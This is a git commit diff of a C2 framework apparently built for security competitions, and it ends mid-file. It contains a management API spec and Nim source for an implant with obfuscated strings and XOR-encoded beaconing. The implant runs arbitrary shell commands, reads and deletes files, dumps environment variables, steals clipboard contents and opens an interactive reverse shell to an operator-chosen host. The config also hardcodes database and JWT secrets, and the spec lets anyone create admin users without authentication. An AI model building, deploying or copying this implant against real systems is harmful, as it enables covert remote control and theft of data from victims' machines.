commit 74df04ce5a72b96cf38f825be9cec0b5457640a4 Author: connorgadbois Date: Mon Sep 28 14:05:43 2026 -0500 Initial commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..0473002 --- /dev/null +++ b/README.md @@ -0,0 +1,32 @@ +# ALTIN C2 + +## Docker Setup +Modify the environment variables in `docker-compose.yml` as needed. + +```bash +docker compose up -d +``` + +## Development Setup +### Server +```bash +cd server +cp .env.example .env + +# Modify .env as needed, recomended to use sqlite database + +pip install -r requirements.txt + +python3 debug_server.py +``` + +### Web UI +```bash +cd webui +python3 -m http.server # Starts a webserver on port 8000 +``` + +## Implants +|Implant|Description|Language|OS| +|---|---|---|---| +|`Tombili`|Competition focused implant with general purpose functionality|Nim|Windows, Linux| \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..660d416 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,45 @@ +services: + postgres: + image: postgres:16-alpine + restart: unless-stopped + environment: + POSTGRES_USER: altin + POSTGRES_PASSWORD: yLZi744l2vhTZbDvVFfKQxK8TgrefTCn # CHANGE ME + POSTGRES_DB: altin + volumes: + - postgres-data:/var/lib/postgresql/data + healthcheck: + test: ["CMD-SHELL", "pg_isready -U altin -d altin"] + interval: 5s + timeout: 5s + retries: 12 + start_period: 10s + + server: + build: + context: ./server + restart: unless-stopped + depends_on: + postgres: + condition: service_healthy + environment: + ALTIN_PORT: 3000 + ALTIN_DATABASE: postgres + ALTIN_PGSQL_DATABASE: altin + ALTIN_PGSQL_HOST: postgres + ALTIN_PGSQL_PORT: 5432 + ALTIN_PGSQL_USER: altin + ALTIN_PGSQL_PASSWORD: yLZi744l2vhTZbDvVFfKQxK8TgrefTCn # CHANGE ME (same as postgres' POSTGRES_PASSWORD) + ALTIN_JWT_SECRET: ctoV2G4E1XR8JOqd9VFiRMrbVWsXlAEg4E88_QcaRLDq41T0Rtx-OD3-FA5UDnrj # CHANGE ME + ports: + - "5000:5000" + + webui: + build: + context: ./webui + restart: unless-stopped + ports: + - "8080:80" + +volumes: + postgres-data: diff --git a/docs/ManagementAPI.yml b/docs/ManagementAPI.yml new file mode 100644 index 0000000..d89c968 --- /dev/null +++ b/docs/ManagementAPI.yml @@ -0,0 +1,817 @@ +openapi: 3.0.3 +info: + title: Altin Management API + version: 1.0.0 + description: > + REST API for managing agents, tasks, keys, and users in the Altin framework. + + Every endpoint requires an `Authorization` header containing the JWT returned by + `POST /api/login`, except for `POST /api/login` itself and the `/api/users` + endpoints, which are unauthenticated. +servers: + - url: http://localhost:5000 + description: Debug server +security: + - BearerAuth: [] +components: + securitySchemes: + BearerAuth: + type: apiKey + in: header + name: Authorization + description: JWT token returned by `POST /api/login`, sent as the raw header value + schemas: + LoginRequest: + type: object + required: + - username + - password + properties: + username: + type: string + password: + type: string + format: password + LoginResponse: + type: object + properties: + message: + type: string + token: + type: string + Agent: + type: object + properties: + id: + type: string + format: uuid + implant_id: + type: string + ip: + type: string + os: + type: string + commands: + type: array + items: + type: object + tags: + type: array + items: + type: string + last_checkin: + type: string + format: date-time + AgentsResponse: + type: object + properties: + agents: + type: array + items: + $ref: '#/components/schemas/Agent' + Task: + type: object + properties: + id: + type: string + format: uuid + agent: + type: string + format: uuid + task: + type: string + args: + type: array + items: + type: string + sent: + type: boolean + completed: + type: boolean + TasksResponse: + type: object + properties: + tasks: + type: array + items: + $ref: '#/components/schemas/Task' + TaskResult: + type: object + properties: + id: + type: string + format: uuid + task: + type: string + format: uuid + result: + type: string + nullable: true + timestamp: + type: string + description: Timestamp formatted by the server as `YYYY-MM-DD HH:MM:SS.ffffff` + example: '2026-09-26 12:34:56.789012' + TaskResultsResponse: + type: object + properties: + results: + type: array + items: + $ref: '#/components/schemas/TaskResult' + Key: + type: object + properties: + id: + type: string + format: uuid + name: + type: string + key: + type: string + KeysResponse: + type: object + properties: + keys: + type: array + items: + $ref: '#/components/schemas/Key' + KeyRequest: + type: object + required: + - name + - key + properties: + name: + type: string + key: + type: string + KeyDeleteRequest: + type: object + required: + - id + properties: + id: + type: string + format: uuid + User: + type: object + properties: + id: + type: string + format: uuid + username: + type: string + admin: + type: boolean + UsersResponse: + type: object + properties: + users: + type: array + items: + $ref: '#/components/schemas/User' + UserRequest: + type: object + required: + - username + - password + - admin + properties: + username: + type: string + password: + type: string + format: password + admin: + type: boolean + UserPatchRequest: + type: object + required: + - id + properties: + id: + type: string + format: uuid + username: + type: string + password: + type: string + format: password + admin: + type: boolean + TaskCreateRequest: + type: object + required: + - agent_id + - command + - args + properties: + agent_id: + type: string + format: uuid + command: + type: string + args: + type: array + items: + type: string + TagAgentRequest: + type: object + required: + - tags + description: Tags to add to the agent (POST) or remove from the agent (DELETE) + properties: + tags: + type: array + items: + type: string + UserDeleteRequest: + type: object + required: + - id + properties: + id: + type: string + format: uuid + ErrorResponse: + type: object + properties: + message: + type: string + MessageResponse: + type: object + properties: + message: + type: string +paths: + /api/login: + post: + summary: User login + description: Authenticate a user and return a JWT token + operationId: login + security: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/LoginRequest' + responses: + '200': + description: Successful login + content: + application/json: + schema: + $ref: '#/components/schemas/LoginResponse' + '400': + description: Invalid request - missing username or password + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '401': + description: Invalid username or password + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + /api/agents: + get: + summary: List all agents + description: > + Retrieve a list of all registered agents. + + Note: the `ip`, `implant` and `os` filters are accepted but are not applied + to the returned list - the full agent list is always returned. + operationId: getAgents + security: + - BearerAuth: [] + parameters: + - name: ip + in: query + schema: + type: string + description: Filter agents by IP address (currently not applied) + - name: implant + in: query + schema: + type: string + description: Filter agents by implant ID (currently not applied) + - name: os + in: query + schema: + type: string + description: Filter agents by operating system (currently not applied) + responses: + '200': + description: List of agents + content: + application/json: + schema: + $ref: '#/components/schemas/AgentsResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + /api/agents/{agent_id}: + get: + summary: Get agent by ID + description: Retrieve details of a specific agent + operationId: getAgent + security: + - BearerAuth: [] + parameters: + - name: agent_id + in: path + required: true + schema: + type: string + format: uuid + description: Agent UUID + responses: + '200': + description: Agent details + content: + application/json: + schema: + $ref: '#/components/schemas/Agent' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '404': + description: Agent not found + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + delete: + summary: Delete an agent + description: Delete a specific agent + operationId: deleteAgent + security: + - BearerAuth: [] + parameters: + - name: agent_id + in: path + required: true + schema: + type: string + format: uuid + description: Agent UUID + responses: + '204': + description: The agent was deleted + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '404': + description: Agent not found + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + /api/agents/{agent_id}/tags: + post: + summary: Add tags to an agent + description: Append tags to an existing agent. Tags already present are ignored. + operationId: tagAgent + security: + - BearerAuth: [] + parameters: + - name: agent_id + in: path + required: true + schema: + type: string + format: uuid + description: Agent UUID + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/TagAgentRequest' + responses: + '201': + description: Agent updated + content: + application/json: + schema: + $ref: '#/components/schemas/MessageResponse' + '400': + description: Invalid request - missing tags or tags is not an array + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '404': + description: Agent not found + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + delete: + summary: Remove tags from an agent + description: > + Remove tags from an existing agent. Tags that are not present are ignored. + + Note: the current implementation does not modify the stored tags - it + responds with 201 and the agent's tag list is left unchanged. + operationId: untagAgent + security: + - BearerAuth: [] + parameters: + - name: agent_id + in: path + required: true + schema: + type: string + format: uuid + description: Agent UUID + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/TagAgentRequest' + responses: + '201': + description: Agent updated + content: + application/json: + schema: + $ref: '#/components/schemas/MessageResponse' + '400': + description: Invalid request - missing tags or tags is not an array + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '404': + description: Agent not found + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + /api/tasks: + get: + summary: List tasks + description: Retrieve tasks with optional filtering + operationId: getTasks + security: + - BearerAuth: [] + parameters: + - name: id + in: query + schema: + type: string + format: uuid + description: Filter by agent ID + - name: agent + in: query + schema: + type: string + format: uuid + description: Filter by agent ID (alias for id) + - name: sent + in: query + schema: + type: string + enum: ['true', 'false'] + description: Filter by sent status + - name: completed + in: query + schema: + type: string + enum: ['true', 'false'] + description: Filter by completed status + responses: + '200': + description: List of tasks + content: + application/json: + schema: + $ref: '#/components/schemas/TasksResponse' + '400': + description: Invalid query parameter - sent or completed is not 'true' or 'false' + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + post: + summary: Create a new task + description: > + Create a task for a specific agent with a command and arguments. The number of + arguments must exactly match the number of required arguments declared by the + agent for that command. + operationId: createTask + security: + - BearerAuth: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/TaskCreateRequest' + responses: + '201': + description: Task sent + content: + application/json: + schema: + $ref: '#/components/schemas/MessageResponse' + '400': + description: Invalid request - missing body fields, or the command is not supported by the agent + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '404': + description: Agent not found, or the number of supplied arguments does not match the required arguments + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + /api/task-results: + get: + summary: List task results + description: > + Retrieve task results with optional filtering. + + Note: filtering by `task_id` only takes effect when the undocumented `agent` + query parameter is supplied as well; sending `task_id` on its own results in + a server error. + operationId: getTaskResults + security: + - BearerAuth: [] + parameters: + - name: id + in: query + schema: + type: string + format: uuid + description: Filter by result ID + - name: task_id + in: query + schema: + type: string + format: uuid + description: Filter by task ID (requires the `agent` query parameter) + - name: agent + in: query + schema: + type: string + description: > + Has no effect on its own; it must be supplied together with `task_id` + for the task ID filter to be applied + responses: + '200': + description: List of task results + content: + application/json: + schema: + $ref: '#/components/schemas/TaskResultsResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '500': + description: Server error - `task_id` was supplied without the `agent` query parameter + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + /api/keys: + get: + summary: List all keys + description: Retrieve a list of all stored keys + operationId: getKeys + security: + - BearerAuth: [] + responses: + '200': + description: List of keys + content: + application/json: + schema: + $ref: '#/components/schemas/KeysResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + post: + summary: Create a new key + description: Store a new key with a name + operationId: createKey + security: + - BearerAuth: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/KeyRequest' + responses: + '200': + description: A key with that name already exists - no key was created + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '201': + description: Key created successfully + content: + application/json: + schema: + $ref: '#/components/schemas/MessageResponse' + '400': + description: Invalid request - missing key or name + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + delete: + summary: Delete a key + description: Delete a key by its ID + operationId: deleteKey + security: + - BearerAuth: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/KeyDeleteRequest' + responses: + '204': + description: The key was deleted + '400': + description: Invalid request - missing id + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '401': + description: Unauthorized - missing, expired or invalid token + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '404': + description: Key not found + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + /api/users: + get: + summary: List all users + description: Retrieve a list of all users (unauthenticated endpoint) + operationId: getUsers + security: [] + responses: + '200': + description: List of users + content: + application/json: + schema: + $ref: '#/components/schemas/UsersResponse' + post: + summary: Create a new user + description: Register a new user account (unauthenticated endpoint) + operationId: createUser + security: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/UserRequest' + responses: + '200': + description: Success - user created successfully + content: + application/json: + schema: + $ref: '#/components/schemas/MessageResponse' + '400': + description: Invalid request - missing fields, or admin is not a boolean + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '403': + description: A user with that username already exists + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + patch: + summary: Update a user + description: > + Update user details (username, password, or admin status) by ID + (unauthenticated endpoint). + + Note: only one field is applied per request, in the order username, then + password, then admin - whichever comes first in the body. + operationId: editUser + security: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/UserPatchRequest' + responses: + '200': + description: User updated + content: + application/json: + schema: + $ref: '#/components/schemas/MessageResponse' + '400': + description: Invalid request - missing id + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '404': + description: User not found + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '500': + description: Server error - currently returned whenever `admin` is supplied + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + delete: + summary: Delete a user + description: Delete a user by ID (unauthenticated endpoint) + operationId: deleteUser + security: [] + requestBody: + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/UserDeleteRequest' + responses: + '204': + description: User deleted + '400': + description: Invalid request - missing id + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' + '404': + description: User not found + content: + application/json: + schema: + $ref: '#/components/schemas/ErrorResponse' diff --git a/implants/tombili/README.md b/implants/tombili/README.md new file mode 100644 index 0000000..fec705b --- /dev/null +++ b/implants/tombili/README.md @@ -0,0 +1,30 @@ +# Tombili Agent + +## Configuring +Change the values in `src/config.nim` as needed. + +## Compiling +```bash +nim c -d:release -d:ssl -o:tombili.bin src/main.nim + +# If compiling for Windows from MacOS or Linux: +nim c -d:release -d:ssl -o:tombili.exe src/main.nim +``` + +## Commands +|Command|Platform|Description|Arguments| +|---|---|---|---| +|`shell`|Windows, Linux|Run a command|command: str| +|`getsleep`|Windows, Linux|Get the current sleep time|| +|`setsleep`|Windows, Linux|Set the sleep time between callbacks|sleep: float, jitter: float| +|`whoami`|Windows, Linux|Get the user that Tombili is running as|| +|`cat`|Windows, Linux|Read the contents of a file|path: str| +|`fileinfo`|Windows, Linux|Get information about a file|path: str| +|`mv`|Windows, Linux|Move a file or directory|source: str, destination: str| +|`rm`|Windows, Linux|Delete a file|path: str| +|`getenv`|Windows, Linux|Get all environment variables|| +|`pid`|Windows, Linux|Get the ID of the current process|| +|`reverseshell`|Windows, Linux|Start a reverse shell|ip: str, port: int| +|`msgbox`|Windows|Display a message box|title: str, body: str| +|`getclipboard`|Windows|Get the contents of the clipboard|| +|`kill`|Windows, Linux|Kill the agent|| diff --git a/implants/tombili/src/commands.nim b/implants/tombili/src/commands.nim new file mode 100644 index 0000000..b9435d1 --- /dev/null +++ b/implants/tombili/src/commands.nim @@ -0,0 +1,325 @@ +import json + +import shared +import utils + +when defined(linux): + import linux + +when defined(windows): + import windows + +type + CommandArgument* = object + name*: string + arg_type*: string + description: string + required: bool + + Command* = object + command*: string + description*: string + args*: seq[CommandArgument] + function*: proc(task: JsonNode): string + +var commands*: seq[Command] = @[] + +# Load commands +when defined(linux): + # shell + commands.add( + Command( + command: obf("shell"), + description: obf("Run a command on the system using /bin/sh"), + args: @[ + CommandArgument(name: obf("command"), arg_type: obf("str"), description: obf("The command to run"), required: true) + ], + function: linux.shell + ) + ) + + # getsleep + commands.add( + Command( + command: obf("getsleep"), + description: obf("Get the current sleep time"), + args: @[], + function: shared.getSleep + ) + ) + + # setsleep + commands.add( + Command( + command: obf("setsleep"), + description: obf("Set the sleep time between callbacks"), + args: @[ + CommandArgument(name: obf("sleep"), arg_type: obf("float"), description: obf("Seconds to sleep for"), required: true), + CommandArgument(name: obf("jitter"), arg_type: obf("float"), description: obf("Seconds of jitter"), required: true) + ], + function: shared.setSleep + ) + ) + + # whoami + commands.add( + Command( + command: obf("whoami"), + description: obf("Get the user that Tombili is running as"), + args: @[], + function: linux.whoami + ) + ) + + # cat + commands.add( + Command( + command: obf("cat"), + description: obf("Read the contents of a file"), + args: @[ + CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true) + ], + function: shared.cat + ) + ) + + # fileinfo + commands.add( + Command( + command: obf("fileinfo"), + description: obf("Get information about a file"), + args: @[ + CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file"), required: true) + ], + function: shared.fileinfo + ) + ) + + # mv + commands.add( + Command( + command: obf("mv"), + description: obf("Move a file or directory"), + args: @[ + CommandArgument(name: obf("source"), arg_type: obf("str"), description: obf("The source file or directory"), required: true), + CommandArgument(name: obf("destination"), arg_type: obf("str"), description: obf("The destination file or directory"), required: true) + ], + function: shared.mv + ) + ) + + # rm + commands.add( + Command( + command: obf("rm"), + description: obf("Delete a file"), + args: @[ + CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to delete"), required: true) + ], + function: shared.rm + ) + ) + + # getenv + commands.add( + Command( + command: obf("getenv"), + description: obf("Get all environemnt variables"), + args: @[], + function: shared.getEnv + ) + ) + + # reverseshell + commands.add( + Command( + command: obf("reverseshell"), + description: obf("Start a reverse shell"), + args: @[ + CommandArgument(name: obf("ip"), arg_type: obf("str"), description: obf("The IP to connect to"), required: true), + CommandArgument(name: obf("port"), arg_type: obf("int"), description: obf("The port to connect to"), required: true) + ], + function: shared.reverseShell + ) + ) + + # pid + commands.add( + Command( + command: obf("pid"), + description: obf("Get the id of the current process"), + args: @[], + function: shared.pid + ) + ) + + # kill + commands.add( + Command( + command: obf("kill"), + description: obf("Kill the agent"), + args: @[], + function: shared.kill + ) + ) + +when defined(windows): + # shell + commands.add( + Command( + command: obf("shell"), + description: obf("Run a command on the system using cmd"), + args: @[ + CommandArgument(name: obf("command"), arg_type: obf("str"), description: obf("The command to run"), required: true) + ], + function: windows.shell + ) + ) + + # getsleep + commands.add( + Command( + command: obf("getsleep"), + description: obf("Get the current sleep time"), + args: @[], + function: shared.getSleep + ) + ) + + # setsleep + commands.add( + Command( + command: obf("setsleep"), + description: obf("Set the sleep time between callbacks"), + args: @[ + CommandArgument(name: obf("sleep"), arg_type: obf("float"), description: obf("Seconds to sleep for"), required: true), + CommandArgument(name: obf("jitter"), arg_type: obf("float"), description: obf("Seconds of jitter"), required: true) + ], + function: shared.setSleep + ) + ) + + # whoami + commands.add( + Command( + command: obf("whoami"), + description: obf("Get the user that Tombili is running as"), + args: @[], + function: windows.whoami + ) + ) + + # msgbox + commands.add( + Command( + command: obf("msgbox"), + description: obf("Display a message box"), + args: @[ + CommandArgument(name: obf("title"), arg_type: obf("str"), description: obf("The title of the message box"), required: true), + CommandArgument(name: obf("body"), arg_type: obf("str"), description: obf("The body of the message box"), required: true) + ], + function: windows.msgBox + ) + ) + + # cat + commands.add( + Command( + command: obf("cat"), + description: obf("Read the contents of a file"), + args: @[ + CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true) + ], + function: shared.cat + ) + ) + + # fileinfo + commands.add( + Command( + command: obf("fileinfo"), + description: obf("Get information about a file"), + args: @[ + CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to read"), required: true) + ], + function: shared.fileinfo + ) + ) + + # mv + commands.add( + Command( + command: obf("mv"), + description: obf("Move a file or directory"), + args: @[ + CommandArgument(name: obf("source"), arg_type: obf("str"), description: obf("The source file or directory"), required: true), + CommandArgument(name: obf("directory"), arg_type: obf("str"), description: obf("The destination file or directory"), required: true) + ], + function: shared.mv + ) + ) + + # rm + commands.add( + Command( + command: obf("rm"), + description: obf("Delete a file"), + args: @[ + CommandArgument(name: obf("path"), arg_type: obf("str"), description: obf("The absolute path of the file to delete"), required: true) + ], + function: shared.rm + ) + ) + + # getenv + commands.add( + Command( + command: obf("getenv"), + description: obf("Get all environemnt variables"), + args: @[], + function: shared.getEnv + ) + ) + + # getclipboard + commands.add( + Command( + command: obf("getclipboard"), + description: obf("Get the contents of the clipboard"), + args: @[], + function: windows.getClipboard + ) + ) + + # reverseshell + commands.add( + Command( + command: obf("reverseshell"), + description: obf("Start a reverse shell"), + args: @[ + CommandArgument(name: obf("ip"), arg_type: obf("str"), description: obf("The IP to connect to"), required: true), + CommandArgument(name: obf("port"), arg_type: obf("int"), description: obf("The port to connect to"), required: true) + ], + function: shared.reverseShell + ) + ) + + # pid + commands.add( + Command( + command: obf("pid"), + description: obf("Get the id of the current process"), + args: @[], + function: shared.pid + ) + ) + + # kill + commands.add( + Command( + command: obf("kill"), + description: obf("Kill the agent"), + args: @[], + function: shared.kill + ) + ) diff --git a/implants/tombili/src/communication.nim b/implants/tombili/src/communication.nim new file mode 100644 index 0000000..0c5dc52 --- /dev/null +++ b/implants/tombili/src/communication.nim @@ -0,0 +1,133 @@ +import httpClient +import json +import net + +import config +import commands +import utils + +const + ACTION_CHECKIN*: int = 1 + ACTION_REGISTER*: int = 2 + ACTION_TASK_RESULT*: int = 3 + + STATUS_ERROR*: int = 0 + STATUS_CONTINUE*: int = 1 + STATUS_TASKS*: int = 2 + STATUS_REGISTER*: int = 3 + STATUS_INVALID*: int = 4 + +let client: HttpClient = newHttpClient() +let ip: string = $getPrimaryIPAddr() + +when defined(windows): + var os: string = obf("windows") + +when defined(linux): + var os: string = obf("linux") + +proc xorData(plain: string, key: string): string = + result = newString(plain.len) + + for i in 0 ..< plain.len: + let plainByte = ord(plain[i]) + let keyByte = ord(key[i mod key.len]) + result[i] = chr(plainByte xor keyByte) + + return result + +proc sendRegistration*(commands: seq[Command]): int = + var payload: JsonNode = %*{ + obf("implant_id"): IMPLANT_ID, + obf("ip"): ip, + obf("action"): ACTION_REGISTER, + obf("registration"): %*{ + obf( "os"): os, + obf("commands"): [] + } + } + + for command in commands: + var commandJson: JsonNode = %*{ + obf("command"): command.command, + obf("description"): command.description, + obf("args"): command.args + } + payload[obf("registration")][obf("commands")].add(commandJson) + + var encPayload: string = xorData($payload, XOR_KEY) + + var response: string + var responseJson: JsonNode + + try: + response = client.postContent(SERVER_BASE_URL, encPayload) + responseJson = parseJson(xorData(response, XOR_KEY)) + except: + raise newException(ValueError, obf("Invalid registration response")) + + if responseJson[obf("status")].getInt in @[STATUS_ERROR, STATUS_CONTINUE, STATUS_TASKS, STATUS_REGISTER, STATUS_INVALID]: + return responseJson[obf("status")].getInt + else: + raise newException(ValueError, obf("Invalid respose status code")) + +proc sendTaskResult*(taskId: string, taskResult: string): int = + var payload: JsonNode = %*{ + obf("implant_id"): IMPLANT_ID, + obf("ip"): ip, + obf("action"): ACTION_TASK_RESULT, + obf("result"): { + obf("task_id"): task_id, + obf("result"): taskResult + } + } + + var encPayload: string = xorData($payload, XOR_KEY) + + var response: string = client.postContent(SERVER_BASE_URL, encPayload) + var responseJson: JsonNode = parseJson(xorData(response, XOR_KEY)) + + return responseJson[obf("status")].getInt + +proc checkin*(): void = + var payload: JsonNode = %*{ + obf("implant_id"): IMPLANT_ID, + obf("ip"): ip, + obf("action"): ACTION_CHECKIN + } + + var encPayload: string = xorData($payload, XOR_KEY) + + let response: string = client.postContent(SERVER_BASE_URL, encPayload) + let responseJson: JsonNode = parseJson(xorData(response, XOR_KEY)) + + when not defined(release): + echo "Recieved checkin status: " & $responseJson[obf("status")].getInt + + case responseJson[obf("status")].getInt + of STATUS_CONTINUE: + discard + of STATUS_INVALID: + raise newException(ValueError, obf("Data sent to server was invalid")) + of STATUS_REGISTER: + try: + discard sendRegistration(commands.commands) + except: + discard + of STATUS_TASKS: + var tasks: seq[JsonNode] = responseJson[obf("tasks")].getElems + + when not defined(release): + echo "Recieved tasks: " & $tasks + + for task in tasks: + for command in commands.commands: + if command.command == task[obf("task")].getStr: + var taskResult: string = command.function(task) + var taskResultStatus: int = sendTaskResult(task["task_id"].getStr, taskResult) + + if not defined(release): + echo "Sent task results for task " & task["task_id"].getStr & " and got status " & $taskResultStatus + + else: + raise newException(ValueError, obf("Invalid respose status code")) diff --git a/implants/tombili/src/config.nim b/implants/tombili/src/config.nim new file mode 100644 index 0000000..67d86ac --- /dev/null +++ b/implants/tombili/src/config.nim @@ -0,0 +1,10 @@ +import utils + +const + IMPLANT_ID*: string = obf("tombili") + SERVER_BASE_URL*: string = obf("http://127.0.0.1:3000/") + REG_FAIL_LIMIT*: int = 10 # 0 for no limit + REG_FAIL_RETRY_SLEEP*: int = 10 # seconds + CHECKIN_SLEEP*: int = 10 # seconds + CHECKIN_SLEEP_JITTER*: int = 5 # seconds + XOR_KEY*: string = obf("asdf") # must be a key in the server's key list diff --git a/implants/tombili/src/linux.nim b/implants/tombili/src/linux.nim new file mode 100644 index 0000000..c4fbfcd --- /dev/null +++ b/implants/tombili/src/linux.nim @@ -0,0 +1,26 @@ +import osproc +import posix +import json + +import utils + +proc shell*(task: JsonNode): string = + var args: seq[JsonNode] = task[obf("args")].getElems + var command: string = args[0].getStr + + try: + var commandOutput: string + (commandOutput, _) = execCmdEx(command) + return commandOutput + + except: + return obf("Failed to run the command") + +proc whoami*(task: JsonNode): string = + try: + var passwd: ptr Passwd = getpwuid(geteuid()) + return obf("Username: ") & $passwd.pw_name & obf("\nUID: ") & $passwd.pw_uid & obf("\nGID: ") & $passwd.pw_gid & obf("\nHome: ") & $passwd.pw_dir & obf("\nShell: ") & $passwd.pw_shell + + except Exception as e: + return obf("Failed to get user info: ") & e.msg + diff --git a/implants/tombili/src/main.nim b/implants/tombili/src/main.nim new file mode 100644 index 0000000..cb051dd --- /dev/null +++ b/implants/tombili/src/main.nim @@ -0,0 +1,55 @@ +import config +import communication +import commands +import sleep + +proc main(): void = + var registrationFails: int = 0 + var status: int + + # Registration loop + while true: + try: + status = sendRegistration(commands.commands) + except Exception as e: + when not defined(release): + echo "Registration failed: " & e.msg + registrationFails += 1 + echo "Registration fails: " & $registrationFails + + status = -1 + + when not defined(release): + echo "Registration sent, status: " & $status + + if status == STATUS_CONTINUE: + break + else: + registrationFails += 1 + + when not defined(release): + echo "Registration fails: " & $registrationFails + + if registrationFails >= REG_FAIL_LIMIT: + when not defined(release): + echo "Registration fail limit hit, quitting..." + + quit(0) + + else: + doSleep() + + # Checkin loop + while true: + try: + checkin() + except Exception as e: + when not defined(release): + echo "Checkin failed: " & e.msg + + discard + + doSleep() + +if isMainModule: + main() diff --git a/implants/tombili/src/revShell.nim b/implants/tombili/src/revShell.nim new file mode 100644 index 0000000..a4c456b --- /dev/null +++ b/implants/tombili/src/revShell.nim @@ -0,0 +1,63 @@ +import net +import osproc +import streams + +import utils + +type + ShellSendData = tuple + shellStdOut: Stream + socket: Socket + + ShellRecvData = tuple + shellStdIn: Stream + socket: Socket + +proc shellSend(args: ShellSendData) {.thread.} = + var data: string + while true: + try: + data = args.shellStdOut.readLine() + args.socket.send(data & "\n") + except: + discard + +proc shellRecv(args: ShellRecvData) {.thread.} = + var data: string + while true: + data = args.socket.recvLine() + + if data == "" or data == obf("exit"): + args.socket.close() + break + + args.shellStdIn.writeLine(data & "\n") + args.shellStdIn.flush() + +proc startReverseShell*(ip: string, port: int): void = + var socket = newSocket() + socket.connect(ip, Port(port)) + + var shellProcess: Process + + when defined(linux): + shellProcess = startProcess(command=obf("/bin/bash"), args=[obf("-i")], options={poStdErrToStdOut}) + + when defined(windows): + shellProcess = startProcess(command=obf("powershell"), options={poStdErrToStdOut}) + + when defined(freebsd): + shellProcess = startProcess(command=obf("/bin/sh"), args=["-i"], options={poStdErrToStdOut}) + + var shellStdIn = shellProcess.inputStream + var shellStdOut = shellProcess.outputStream + + var sendThread: Thread[ShellSendData] + var recvThread: Thread[ShellRecvData] + + createThread(sendThread, shellSend, (shellStdOut, socket)) + createThread(recvThread, shellRecv, (shellStdIn, socket)) + sendThread.joinThread() + recvThread.joinThread() + + shellProcess.close() diff --git a/implants/tombili/src/shared.nim b/implants/tombili/src/shared.nim new file mode 100644 index 0000000..004b44e --- /dev/null +++ b/implants/tombili/src/shared.nim @@ -0,0 +1,145 @@ +import json +import os +import times +import threadpool + +import sleep +import revShell +import utils + +const DATE_FORMAT: string = obf("yyyy-MM-dd'T'HH:mm:ss") + +proc cat*(task: JsonNode): string = + var args: seq[JsonNode] = task[obf("args")].getElems + var filePath: string = args[0].getStr + + try: + if fileExists(filePath): + return readFile(filePath) + else: + return obf("File does not exists") + + except Exception as e: + return obf("Failed to read the file: ") & e.msg + +proc fileInfo*(task: JsonNode): string = + var args: seq[JsonNode] = task[obf("args")].getElems + var filePath: string = args[0].getStr + + try: + var info: FileInfo = getFileInfo(filePath) + + var kind: string + case info.kind: + of PathComponent.pcFile: + kind = obf("file") + of PathComponent.pcLinkToFile: + kind = obf("link to file") + of PathComponent.pcDir: + kind = obf("directory") + of PathComponent.pcLinkToDir: + kind = obf("link to directory") + + var lastAccessString: string = format(info.lastAccessTime, DATE_FORMAT, utc()) + var lastWriteString: string = format(info.lastWriteTime, DATE_FORMAT, 